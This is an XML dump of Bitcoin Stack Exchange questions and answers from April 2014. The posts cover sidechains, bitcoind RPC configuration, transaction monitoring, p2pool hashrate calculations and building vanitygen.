  <row Id="24549" PostTypeId="1" AcceptedAnswerId="25550" CreationDate="2014-04-13T02:05:17.370" Score="12" ViewCount="3942" Body="&lt;p&gt;I am struggling to understand the concept of &quot;side-chains&quot; that's discussed a lot lately, but never trully explained.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How I understand &quot;side-chain&quot;: it's an altcoin, with a separate blockchain, with a separate PoW rules and mineres and mining rewards and so on, that has value somehow tied to bitcoin, and that can be later exchanged back &quot;into&quot; main bitcoin blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I struggle to understand two things though. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;How will a bitcoin miner/bitcoin node check, that the side-chain transactions were correct (in the sense of &quot;not double-spent&quot;) and that they are on the longer &quot;altcoin&quot; chain? Does the bitcoin node also have to download all the other chains? Isn't that strange?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How is the mining reward solved? What if this side-chain has some crazy rules (like quark) for mining 90% of the existing supply in a few days? How does the money supply even make sense with value interchangable between BTC and side-chain?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;It's possible I got the basics totally wrong, but I never got past the enthusiasm to some real explanations, so I am asking here.&lt;/p&gt;&#xA;" OwnerUserId="1760" LastEditorUserId="5406" LastEditDate="2015-01-05T15:40:25.213" LastActivityDate="2015-01-05T15:40:25.213" Title="How is a side-chain merging back to Bitcoin chain protected against double-spend? Where are the side-chain mining fees?" Tags="|blockchain|altcoin|merged-mining|sidechains|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24550" PostTypeId="1" CreationDate="2014-04-13T02:31:15.573" Score="1" ViewCount="3741" Body="&lt;p&gt;When running &lt;code&gt;bitcoin-qt -server&lt;/code&gt;, I am able to run the &lt;code&gt;getbalance&lt;/code&gt; command, and the &lt;code&gt;help&lt;/code&gt; command shows many items:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;~ &amp;gt; bitcoin-qt -regtest -server  # Running in another shell&#xA;&#xA;~ &amp;gt; bitcoin-cli -regtest getbalance&#xA;2797.99990000&#xA;~ &amp;gt; bitcoin-cli -regtest help | wc -l&#xA;69&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Trying the same thing with &lt;code&gt;bitcoind&lt;/code&gt; gives me fewer commands and no access to &lt;code&gt;getbalance&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;~ &amp;gt; bitcoind -regtest -server  # Running in another shell&#xA;&#xA;~ &amp;gt; bitcoin-cli -regtest getbalance&#xA;error: {&quot;code&quot;:-32601,&quot;message&quot;:&quot;Method not found&quot;}&#xA;~ &amp;gt; bitcoin-cli -regtest help | wc -l&#xA;31&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is this a limitation of &lt;code&gt;bitcoind&lt;/code&gt; or have I incorrectly configured it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using 0.9.1:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;~ &amp;gt; bitcoin-cli --help | head -1&#xA;Bitcoin RPC client version v0.9.1.0-g026a939-beta&#xA;&#xA;~ &amp;gt; bitcoind --help | head -1&#xA;Bitcoin Core Daemon version v0.9.1.0-g026a939-beta&#xA;&#xA;~ &amp;gt; bitcoin-qt --help | head -1&#xA;Bitcoin Core version v0.9.1.0-g026a939-beta&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3902" LastActivityDate="2014-04-13T03:34:49.887" Title="RPC server with bitcoin-qt and bitcoind has a different set of commands?" Tags="|client|json-rpc|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24551" PostTypeId="2" ParentId="24028" CreationDate="2014-04-13T03:04:58.217" Score="1" Body="&lt;p&gt;The general answer is that your card replacement caused the huge drop in hash-rate. Radeon cards are generally better for mining (faster and more efficient) compared to Nvidia. There is a nice chart that approximates hash rate per card here: &lt;a href=&quot;https://litecoin.info/Mining_hardware_comparison&quot; rel=&quot;nofollow&quot;&gt;https://litecoin.info/Mining_hardware_comparison&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should really consider mining scrypt algorithm at either a profitability pool (I think BTCGuild has one now) that will mine the most profitable coin and convert it to BTC for you, for a small fee of course. This should increase your mining yield by 10fold or so!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You also might try Cudaminer instead of GUIMiner for nvidia cards. I have had better using cudaminer for nvidia gpus than both cg and bfgminer.&lt;/p&gt;&#xA;" OwnerUserId="11643" LastActivityDate="2014-04-13T03:04:58.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24552" PostTypeId="2" ParentId="24550" CreationDate="2014-04-13T03:34:49.887" Score="2" Body="&lt;p&gt;Just discovered the problem. It has to do with the &quot;wallet&quot; being disabled in the code via the default configuration with my package management.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I investigated the source initially and saw that there is a bunch of commands that are only enabled if the wallet #define is enabled: &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/e18bc583d41d97cdab93b7ffd111402628cfba19/src/rpcserver.cpp#L268&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/blob/e18bc583d41d97cdab93b7ffd111402628cfba19/src/rpcserver.cpp#L268&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From there I was able to work out that the build options has disabled the wallet. I'm on Arch Linux, which the user-contributed package (on the AUR) has been configured to disable the wallet by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, &lt;code&gt;PKGBUILD&lt;/code&gt; configuration has added &lt;code&gt;--disable-wallet&lt;/code&gt; to the  &lt;code&gt;./configure&lt;/code&gt; arguments as you can see here: &lt;a href=&quot;https://aur.archlinux.org/packages/bi/bitcoin-core/PKGBUILD&quot; rel=&quot;nofollow&quot;&gt;https://aur.archlinux.org/packages/bi/bitcoin-core/PKGBUILD&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As if the time of posting, the &lt;code&gt;./configure&lt;/code&gt; command is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./configure \&#xA;    --prefix=/usr \&#xA;    --sbindir=/usr/bin \&#xA;    --libexecdir=/usr/lib/bitcoin \&#xA;    --sysconfdir=/etc \&#xA;    --sharedstatedir=/usr/share/bitcoin \&#xA;    --localstatedir=/var/lib/bitcoin \&#xA;    --enable-hardening \&#xA;    --with-gui=no \&#xA;    --disable-wallet&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Modifying &lt;code&gt;PKGBUILD&lt;/code&gt; by hand to remove the &lt;code&gt;--disable-wallet&lt;/code&gt; argument fixes the problem.&lt;/p&gt;&#xA;" OwnerUserId="3902" LastActivityDate="2014-04-13T03:34:49.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24553" PostTypeId="1" CreationDate="2014-04-13T04:05:44.063" Score="1" ViewCount="358" Body="&lt;p&gt;I have managed to set up &lt;strong&gt;bitcoind&lt;/strong&gt;, connect to its JSON/RPC API and run the &lt;strong&gt;getinfo&lt;/strong&gt; command. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I followed exactly the same steps and configuration for litecoind (bitcoin.conf and litecoin.conf contain exactly the same settings) and set my client to connect to &lt;strong&gt;litecoind&lt;/strong&gt; but I keep on hitting on a &lt;strong&gt;HTTP 504&lt;/strong&gt; error. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both bitcoind instances are in &lt;strong&gt;testnet&lt;/strong&gt; mode and I succesfully connect to port 18332 for bitcoind and also connect to port 19333 for litecoind but this is as far as it gets, I can't seem to be able to get any reply from litecoind. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my configuration for both .conf files:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rpcuser = xxxxxxxxxxxxxxxxx&#xA;rpcpassword = xxxxxxxxxxxxxxxxx&#xA;testnet=1&#xA;daemon=1&#xA;rpcallowip=*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="14319" LastActivityDate="2014-04-13T04:05:44.063" Title="JSON/RPC works fine for bitcoind but not for litecoind" Tags="|bitcoind|litecoin|json-rpc|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24554" PostTypeId="1" AcceptedAnswerId="24555" CreationDate="2014-04-13T04:08:19.580" Score="3" ViewCount="3829" Body="&lt;p&gt;Everything is in the title... For instance, Blockchain can do this if you import a public address and you set up their notification mechanism.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this in an intelligent (=efficient) way with bitcoind even with some patches? Or is the only solution is to get all transactions and filter for the public address?&lt;/p&gt;&#xA;" OwnerUserId="15064" LastActivityDate="2014-04-13T13:29:49.380" Title="How to get instant notification of any Bitcoin transaction involving a specific public address as recipient without knowing the wallet or private key" Tags="|transactions|bitcoind|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24555" PostTypeId="2" ParentId="24554" CreationDate="2014-04-13T04:25:17.190" Score="2" Body="&lt;p&gt;If you want to do it via &lt;code&gt;bitcoind&lt;/code&gt;, since the transaction in question isn't an in-wallet transaction, this is as close as you can get with &lt;code&gt;bitcoind&lt;/code&gt;: &lt;a href=&quot;https://github.com/GeorgeKimionis/BitcoinLib/blob/master/BitcoinWrapper/Services/RpcExtenderService.cs#L37&quot; rel=&quot;nofollow&quot;&gt;GetPublicTransaction()&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your daemon has its transactions indexed (is &lt;code&gt;-txindex&lt;/code&gt; enabled), you can iterate through all blocks using &lt;code&gt;getblockash&lt;/code&gt; and &lt;code&gt;getblock&lt;/code&gt;, then iterate through all the transactions for each block using &lt;code&gt;getrawtransaction&lt;/code&gt; and look for outputs and inputs referring the address(es) you want, when it's an &lt;code&gt;input&lt;/code&gt; reference then balance decreases, when it's an &lt;code&gt;output&lt;/code&gt; reference the addresses balance goes up. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously this approach will take ages in you need to scan the whole blockchain that is getting bigger every day so you need to limit your iterations to the new blocks only, and for newly added addresses to watch you should allow a few minutes for the blockchain to be rescanned if you wish to provide historical data for them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apart from that, there is some talk going on about adding support for watch-only wallets (which is what you're actually asking here) in the core client itself, however this enhancement is not yet available today.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also sign-up for &lt;a href=&quot;http://www.blocknotify.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.blocknotify.com/&lt;/a&gt; and get a notification every time something changes in that address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, you can parse the local blockchain files manually but that's a little bit more hard-core, this is a nice post giving some guidance on that: &lt;a href=&quot;http://codesuppository.blogspot.gr/2014/01/how-to-parse-bitcoin-blockchain.html&quot; rel=&quot;nofollow&quot;&gt;http://codesuppository.blogspot.gr/2014/01/how-to-parse-bitcoin-blockchain.html&lt;/a&gt; and an open source project that could also help: &lt;a href=&quot;https://github.com/jeffchan/blockchain-parser&quot; rel=&quot;nofollow&quot;&gt;https://github.com/jeffchan/blockchain-parser&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastEditorDisplayName="user11221" LastEditDate="2014-04-13T13:29:49.380" LastActivityDate="2014-04-13T13:29:49.380" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="24556" PostTypeId="1" AcceptedAnswerId="24647" CreationDate="2014-04-13T08:06:32.707" Score="2" ViewCount="1156" Body="&lt;p&gt;How is it possible to get the latest transactions txid in real-time? I mean to implement something similar to what blockchain.info does on its homepage. How do they do it to get all transactions info that happens on the network? I'm talking about zero-confirmation transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&#xA;I have found out the API getrawmempool. Does this answer the question? Does it contain all the real-time transactions in the network for the current live block?&lt;/p&gt;&#xA;" OwnerUserId="15064" LastEditorUserId="15064" LastEditDate="2014-04-13T16:38:51.810" LastActivityDate="2018-03-28T14:00:45.643" Title="Get latest Bitcoin transactions in real-time" Tags="|transactions|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24557" PostTypeId="1" CreationDate="2014-04-13T09:09:00.193" Score="2" ViewCount="1623" Body="&lt;p&gt;I'm trying to add the current minimum required hashrate for miners on my p2pool frontend. I've seen such calculation for the litecoin network &lt;a href=&quot;http://ltc.noshit.pl/p2pool&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For litecoin with quite a &lt;a href=&quot;http://q30.qhor.net:9327/static/&quot; rel=&quot;nofollow&quot;&gt;high&lt;/a&gt; p2pool rate and a &lt;a href=&quot;https://github.com/forrestv/p2pool/blob/master/p2pool/networks.py#L55&quot; rel=&quot;nofollow&quot;&gt;low&lt;/a&gt; p2pool block spread setting the minimum recommended hashrate always seems to be very high, currently at around 2 MH/s.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I'm trying to figure out how this is calculated. I know the variables, currently for litecoin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Current snapshot:&#xA;diff_block  =         5895.581658 # Network difficulty (386M)&#xA;diff_share  =            3.919712 # P2pool share difficulty (257k)&#xA;hash_netwrk = 165000000000.0      # Network hashrate (165GH/s)&#xA;hash_p2pool =   1620000000.0      # P2pool hashrate (1.62GH/s)&#xA;block_24hr  =            5.51     # Expected blocks per day&#xA;block_sprd  =            3.0      # P2Pool blocks payout spread&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For my calculations I assume I want to get static payouts every block, therefore I need to solve at least one share every 3 blocks with a diff of at least 257k.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;solve_time  =  block_sprd / block_24hr * 24hr&#xA;solve_time  =           13.06715  # one target share every 13 hours&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I know I need to find one share of at least 257k difficulty every 13 hours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now I get lost. How do I find out which hashrate do I need to find this share at this rate?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To find one 386M-share every 2.5 minutes I need 165GH/s.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Difficulty; Blocktime; Hashrate&#xA;5895.581658; 150; 165000000000&#xA;3.919712; 47041.742; ???&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But how many H/s do I need to find one 257k-share every 13 hours?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Hashrate to find a block every 13 hours&#xA;47041.742 / 150 = 313.612&#xA;165000000000 / 313.612 = 526128472&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To find one 386M-share every 13 hours I need 526MH/s.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Hashrate to find a share every 13 hours&#xA;5895.581658 / 3.919712 = 1504.085&#xA;526128472 / 1504.085 = 349799.597&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To find one 257k-share every 13 hours I need &lt;strong&gt;350kH/s&lt;/strong&gt;!? This differs from the link I posted above by factor 5. Where is my issue here? How to do this calculation right?&lt;/p&gt;&#xA;" OwnerUserId="6441" LastEditorUserId="5406" LastEditDate="2016-04-10T10:22:27.253" LastActivityDate="2016-04-10T10:22:27.253" Title="How to calculate the minimum recommended hashrate for p2pool network?" Tags="|mining-pools|hashpower|p2pool|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24558" PostTypeId="1" CreationDate="2014-04-13T09:25:14.197" Score="3" ViewCount="249" Body="&lt;p&gt;Can I find (always, without fault) the specific set of blocks from which the Bitcoins that I hold originated?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If yes, would such a trace-back be computationally costly?&lt;/p&gt;&#xA;" OwnerUserId="43253" OwnerDisplayName="user3114465" LastEditorUserId="5757" LastEditDate="2014-05-13T23:01:54.447" LastActivityDate="2022-01-11T12:44:29.817" Title="Tracing Bitcoins to their original blocks" Tags="|blockchain|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24559" PostTypeId="2" ParentId="24558" CreationDate="2014-04-13T10:19:28.067" Score="1" Body="&lt;p&gt;Yes, you can, every transaction in the bitcoin network is registered in a public ledger called blockchain. You can query this ledger via HTTP interface like &lt;a href=&quot;https://blockchain.info/api/blockchain_api&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blockchain.info/api/blockchain_api&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I don't think will be costly but it depends on how many hands your bitcoin passed. When you find a transaction without a sender, you have to stop, these are mined (generated) blocks&lt;/p&gt;&#xA;&lt;p&gt;UPDATE 2022:&lt;/p&gt;&#xA;&lt;p&gt;HTTP API has 2 major problems:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Trust, you are trusting the service to provide you the right data.&lt;/li&gt;&#xA;&lt;li&gt;Performance, network calls are expensive.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;It is better to query your local copy of the blockchain, using Bitcoin Core with tx index allows you to query the previous outputs of transactions until you find the generating blocks. Note I used plural for blocks because transactions could have multiple inputs, possibly generated by different blocks.&lt;/p&gt;&#xA;" OwnerUserId="6693" LastEditorUserId="6693" LastEditDate="2022-01-11T09:00:45.057" LastActivityDate="2022-01-11T09:00:45.057" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24560" PostTypeId="2" ParentId="24556" CreationDate="2014-04-13T10:30:20.133" Score="1" Body="&lt;p&gt;blockchain.info offers a web socket for real time information about blocks and tranasactions.&#xA;Have a look at &lt;a href=&quot;https://blockchain.info/it/api/api_websocket&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blockchain.info/it/api/api_websocket&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-- UPDATE&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to avoid relying on third party services, I would now suggest to use a bitcoin node with zmq&lt;/p&gt;&#xA;" OwnerUserId="6693" LastEditorUserId="6693" LastEditDate="2018-03-28T14:00:45.643" LastActivityDate="2018-03-28T14:00:45.643" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24561" PostTypeId="2" ParentId="24556" CreationDate="2014-04-13T11:20:57.203" Score="1" Body="&lt;p&gt;&lt;code&gt;-walletnotify=&amp;lt;cmd&amp;gt;    Execute command when a wallet transaction changes (%s in cmd is replaced by TxID)&lt;/code&gt;, if you only care about wallet transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want any TxID, I think that is not possible with the standard client. You could however program something yourself that listens for message passing between the Bitcoin software and the operating system, or you can fork the client of course.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my opinion the layered approach is preferable, as it is more flexible and secure (although you have less possibilities). For the layered approach I see two possibilities:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The Wireshark option (i.e. hooking into the Windows networking implementation and filtering Bitcoin messages).&lt;/li&gt;&#xA;&lt;li&gt;Create a SOCKS server and let the Bitcoin client connect to the network through it (using the &lt;code&gt;-proxy&lt;/code&gt; option), and then log and process all passing messages.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7043" LastActivityDate="2014-04-13T11:20:57.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24562" PostTypeId="2" ParentId="24364" CreationDate="2014-04-13T11:43:58.470" Score="2" Body="&lt;p&gt;First, you need to compile OpenSSL from the sources. I assume that you've compiled it as it is described in the &lt;a href=&quot;https://bitmessage.org/forum/index.php?topic=3395.0&quot; rel=&quot;nofollow&quot;&gt;Bitmessage Forum&lt;/a&gt;. That way, OpenSSL including elliptic curves support is installed in /opt/openssl-version. As for the Heartbleed bug that has recently been published, please use the very latest stable version of OpenSSL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following this description, I will now assume that OpenSSL including elliptic curve support has been installed unter &lt;strong&gt;/opt/openssl-1.0.1g&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now coming to &lt;strong&gt;vanitygen&lt;/strong&gt;: Download the zip file and extract it to your hard drive. Then modify the &lt;strong&gt;Makefile&lt;/strong&gt;: At the very top of that file add the following line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;export LD_RUN_PATH=/opt/openssl-1.0.1g/lib&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After that, go to the line where &lt;strong&gt;CPFLAGS&lt;/strong&gt; is set. Modify it, so that it looks as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CFLAGS=-ggdb -O3 -Wall -L/opt/openssl-1.0.1g/lib&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically, the line is unmodified, except for the library path to the custom OpenSSL library, which has been appended.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;That's it!&lt;/strong&gt; Now you can compile vanitygen in Fedora as well:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;make&#xA;./vanitygen 1TEST&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15230" LastActivityDate="2014-04-13T11:43:58.470" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24563" PostTypeId="1" CreationDate="2014-04-13T12:57:47.090" Score="3" ViewCount="4321" Body="&lt;p&gt;I want to be able to run bitcoind on a VPS I rented, but I neither have good bandwidth nor RAM so I do not want to be a full node.  How would I go about configuring things so that I can run bitcoind without acting as a full node or relaying transactions?&lt;/p&gt;&#xA;" OwnerUserId="15231" LastActivityDate="2016-08-11T23:22:42.567" Title="Is there a way to run bitcoind without being a full node?" Tags="|bitcoind|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24564" PostTypeId="2" ParentId="24563" CreationDate="2014-04-13T13:18:03.250" Score="3" Body="&lt;p&gt;Bitcoind does not support running in anything but a &quot;full&quot; mode.&lt;/p&gt;&#xA;" OwnerUserId="13413" LastActivityDate="2014-04-13T13:18:03.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24565" PostTypeId="2" ParentId="10282" CreationDate="2014-04-13T13:48:44.880" Score="1" Body="&lt;p&gt;On Mac OSx 10.9.1 (Mavericks)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/Users/username/Library/Application Support/MultiBit/multibit.wallet&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remeber to replace &quot;username&quot; with your own.&lt;/p&gt;&#xA;" OwnerUserId="15233" LastEditorUserId="11369" LastEditDate="2014-04-16T02:24:57.780" LastActivityDate="2014-04-16T02:24:57.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24566" PostTypeId="2" ParentId="24563" CreationDate="2014-04-13T13:52:32.350" Score="5" Body="&lt;p&gt;You might not want to run &lt;code&gt;bitcoind&lt;/code&gt; at all then, you could just use a &lt;code&gt;client-only node&lt;/code&gt; (AKA &lt;code&gt;thin client&lt;/code&gt;) tool such as &lt;a href=&quot;https://code.google.com/p/bitcoinj/&quot;&gt;bitcoinj&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before going for a &lt;code&gt;thin client&lt;/code&gt; approach, make sure you understand the &lt;a href=&quot;https://en.bitcoin.it/wiki/Thin_Client_Security&quot;&gt;differences from running a full node and also some security concerns&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2014-04-13T13:52:32.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24568" PostTypeId="2" ParentId="24482" CreationDate="2014-04-13T16:27:16.750" Score="6" Body="&lt;p&gt;I've done a little research on this as it was a big concern, not to worry! This is only an issue if you have a bitcoin (or altcoin) daemon set up with RPC over HTTPS. This would only be used if say, you have a daemon running on one VPS and another node which asks it to send money. Source: &lt;a href=&quot;http://www.cryptocoinsnews.com/news/openssl-heartbleed-security-bug/2014/04/08&quot;&gt;http://www.cryptocoinsnews.com/news/openssl-heartbleed-security-bug/2014/04/08&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is disabled by default and unless you were using RPC over SSL there is no need to worry :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have been using RPC for any coin I would say a good practice would be to generate a new wallet and send funds there.&lt;/p&gt;&#xA;" OwnerUserId="12835" LastActivityDate="2014-04-13T16:27:16.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24569" PostTypeId="1" CreationDate="2014-04-13T16:29:47.867" Score="7" ViewCount="969" Body="&lt;p&gt;People have been talking a lot about side chains, but I thought this has been around for a while under a different name. Coins like Namecoin, Devcoin, ixcoin, i0coin, groupcoin, etc are all merge mined and have existed long before I ever heard the term &quot;Side Chain&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I correct in my assumption that side chains are just a rose by another name (previously merge mined coins)? Or is there something I am missing here?&lt;/p&gt;&#xA;" OwnerUserId="12835" LastEditorUserId="5406" LastEditDate="2016-01-21T15:34:32.177" LastActivityDate="2016-01-21T15:34:32.177" Title="Are sidechains really new?" Tags="|merged-mining|sidechains|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="24571" PostTypeId="1" AcceptedAnswerId="24661" CreationDate="2014-04-13T17:14:55.490" Score="5" ViewCount="7272" Body="&lt;p&gt;I've been using the bitcoin-python library for making payments from within Python. This worked pretty simple:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; import bitcoinrpc&#xA;&amp;gt;&amp;gt;&amp;gt; conn = bitcoinrpc.connect_to_local()&#xA;&amp;gt;&amp;gt;&amp;gt; conn.sendtoaddress('bitcoin_address_here', 0.5)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://github.com/laanwj/bitcoin-python&quot; rel=&quot;nofollow&quot;&gt;Readme of that library&lt;/a&gt; now says that it is not maintained anymore and refers to the &lt;a href=&quot;https://github.com/petertodd/python-bitcoinlib&quot; rel=&quot;nofollow&quot;&gt;python-bitcoinlib&lt;/a&gt; as a successor. So now I'm trying to wrap my head around that lib, but it seems to be a bit more difficult than bitcoin-python used to be. I now understand I can connect to the running bitcoind using the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; import bitcoin.rpc as rpc&#xA;&amp;gt;&amp;gt;&amp;gt; proxy = rpc.Proxy()&#xA;&amp;gt;&amp;gt;&amp;gt; proxy.getinfo()&#xA;{u'connections': 36, u'errors': u'', u'blocks': 295646, u'paytxfee': 0, u'keypoololdest': 1394108331, u'walletversion': 60000, u'difficulty': Decimal('6119726&#xA;089.12814713'), u'testnet': False, u'version': 90100, u'proxy': u'', u'protocolversion': 70002, u'timeoffset': -1, u'balance': 1856000, u'keypoolsize': 101}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So far so good. The problem is now that I have no idea how I can do a simple payment. I see there is a function called &lt;code&gt;proxy.sendrawtransaction(self, tx)&lt;/code&gt;, which apparently takes a raw transaction as an argument. I have no idea how to create a raw transaction though, plus I would expect that there is some kind of &lt;code&gt;send_to_address(address, amount)&lt;/code&gt; available, but I can't find it around the library.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So does anybody know how I can send a simple transaction to an address with the &lt;a href=&quot;https://github.com/petertodd/python-bitcoinlib&quot; rel=&quot;nofollow&quot;&gt;python-bitcoinlib&lt;/a&gt;? All tips are welcome!&lt;/p&gt;&#xA;" OwnerUserId="11136" LastEditorUserId="47827" LastEditDate="2020-09-13T11:30:48.563" LastActivityDate="2020-09-13T11:30:48.563" Title="How to make a simple payment with the python-bitcoinlib?" Tags="|transactions|library|python-bitcoinlib|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24572" PostTypeId="2" ParentId="24549" CreationDate="2014-04-13T17:35:33.283" Score="1" Body="&lt;p&gt;Sidechains don't mine new &quot;sidecoins&quot; themselves. they get funded by bitcoins being transferred to the sidechain.&#xA;tx fees in the sidechains do exist, however.&lt;/p&gt;&#xA;" OwnerUserId="15236" LastEditorUserId="11369" LastEditDate="2014-04-16T02:13:13.640" LastActivityDate="2014-04-16T02:13:13.640" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
